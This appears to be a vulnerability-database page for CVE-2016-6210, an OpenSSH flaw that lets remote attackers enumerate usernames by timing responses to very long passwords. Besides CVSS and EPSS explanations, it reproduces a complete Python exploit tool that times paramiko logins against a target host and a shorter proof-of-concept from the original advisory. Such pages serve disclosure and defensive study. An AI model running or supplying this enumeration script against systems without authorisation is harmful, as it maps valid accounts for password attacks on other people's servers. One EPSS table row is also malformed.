CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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sshd in OpenSSH before 7.3, when SHA256 or SHA512 are used for user password hashing, uses BLOWFISH hashing on a static password when the username does not exist, which allows remote attackers to enumerate users by leveraging the timing difference between responses when a large password is provided.
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.0
5.9
MEDIUM
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
High
A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
4.3
AV:N/AC:M/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
49.18%
–
–
2022-06-19
–
–
49.18%
–
–
2023-03-12
–
–
–
10.74%
–
2023-11-12
–
–
–
10.74%
–
2023-12-03
–
–
–
10.74%
–
2023-12-10
–
–
–
10.74%
–
2024-06-02
–
–
–
10.74%
–
2024-08-11
–
–
–
10.73%
–
2024-08-25
–
–
–
10.74%
–
2024-09-01
–
–
–
10.67%
–
2024-12-22
–
–
–
6.88%
–
2025-01-19
–
–
–
6.88%
–
2025-03-18
–
–
–
–
91.37%
2025-03-30
–
–
–
–
92.49%
2025-03-30
–
–
–
–
92.49,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2016-07-19 22h00 +00:00 Author : 0_o EDB Verified : No
#!/usr/bin/python
#
# CVEs: CVE-2016-6210 (Credits for this go to Eddie Harari)
#
# Author: 0_o -- null_null
# nu11.nu11 [at] yahoo.com
# Oh, and it is n-u-one-one.n-u-one-one, no l's...
# Wonder how the guys at packet storm could get this wrong :(
#
# Date: 2016-07-19
#
# Purpose: User name enumeration against SSH daemons affected by CVE-2016-6210.
#
# Prerequisites: Network access to the SSH daemon.
#
# DISCLAIMER: Use against your own hosts only! Attacking stuff you are not
# permitted to may put you in big trouble!
#
# And now - the fun part :-)
#
import paramiko
import time
import numpy
import argparse
import sys
args = None
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def get_args():
parser = argparse.ArgumentParser()
group = parser.add_mutually_exclusive_group()
parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
group.add_argument("-u", "--user", type = str, help = "Give a single user name")
group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
args = parser.parse_args()
return args
def get_banner(host, port):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
except:
banner = ssh.get_transport().remote_version
ssh.close()
return banner
def connect(host, port, user):
global args
starttime = 0.0
endtime = 0.0
p = 'B' * int(args.bytes)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
starttime=time.clock()
try:
ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
except:
endtime=time.clock()
finally:
ssh.close()
return endtime - starttime
def main():
global args
args = get_args()
if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
if args.host:
host = args.host.split(":")[0]
try:
port = int(args.host.split(":")[1])
except IndexError:
port = 22
users = []
if args.user:
users.append(args.user)
elif args.userlist:
with open(args.userlist, "r") as f:
users = f.readlines()
else:
if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
sys.exit()
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
# get baseline timing for non-existing users...
baseline_samples = []
baseline_mean = 0.0
baseline_deviation = 0.0
if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
for i in range(1, int(args.samples) + 1):
if not args.silent: sys.stdout.write('.')
if not args.silent: sys.stdout.flush()
sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
baseline_samples.append(sample)
if not args.silent: sys.stdout.write('\n')
# remove the biggest and smallest value
baseline_samples.sort()
baseline_samples.pop()
baseline_samples.reverse()
baseline_samples.pop()
# do math
baseline_mean = numpy.mean(numpy.array(baseline_samples))
baseline_deviation = numpy.std(numpy.array(baseline_samples))
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
upper = baseline_mean + float(args.factor) * baseline_deviation
if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
#
# Get timing for the given user name...
#
for u in users:
user = u.strip()
enum_samples = []
enum_mean = 0.0
for t in range(0, int(args.trials)):
timeval = connect(host, port, user)
enum_samples.append(timeval)
enum_mean = numpy.mean(numpy.array(enum_samples))
if (enum_mean < upper):
if not (args.enumerated or args.silent) :
print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
else:
if not args.silent:
print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
else:
print(user)
if __name__ == "__main__":
main()
Publication date : 2016-07-17 22h00 +00:00 Author : Eddie Harari EDB Verified : No
Source: http://seclists.org/fulldisclosure/2016/Jul/51
--------------------------------------------------------------------
User Enumeration using Open SSHD (<=Latest version).
-------------------------------------------------------------------
Abstract:
-----------
By sending large passwords, a remote user can enumerate users on system that runs SSHD. This problem exists in most
modern configuration due to the fact that it takes much longer to calculate SHA256/SHA512 hash than BLOWFISH hash.
CVE-ID
---------
CVE-2016-6210
Tested versions
--------------------
This issue was tested on : opensshd-7.2p2 ( should be possible on most earlier versions as well).
Fix
-----------------
This issue was reported to OPENSSH developer group and they have sent a patch ( don't know if patch was released yet).
(thanks to 'dtucker () zip com au' for his quick reply and fix suggestion).
Details
----------------
When SSHD tries to authenticate a non-existing user, it will pick up a fake password structure hardcoded in the SSHD
source code. On this hard coded password structure the password hash is based on BLOWFISH ($2) algorithm.
If real users passwords are hashed using SHA256/SHA512, then sending large passwords (10KB) will result in shorter
response time from the server for non-existing users.
Sample code:
----------------
import paramiko
import time
user=raw_input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=time.clock()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect('127.0.0.1', username=user,
password=p)
except:
endtime=time.clock()
total=endtime-starttime
print(total)
(Valid users will result in higher total time).
*** please note that if SSHD configuration prohibits root login , then root is not considered as valid user...
*** when TCP timestamp option is enabled the best way to measure the time would be using timestamps from the TCP
packets of the server, since this will eliminate any network delays on the way.
Eddie Harari
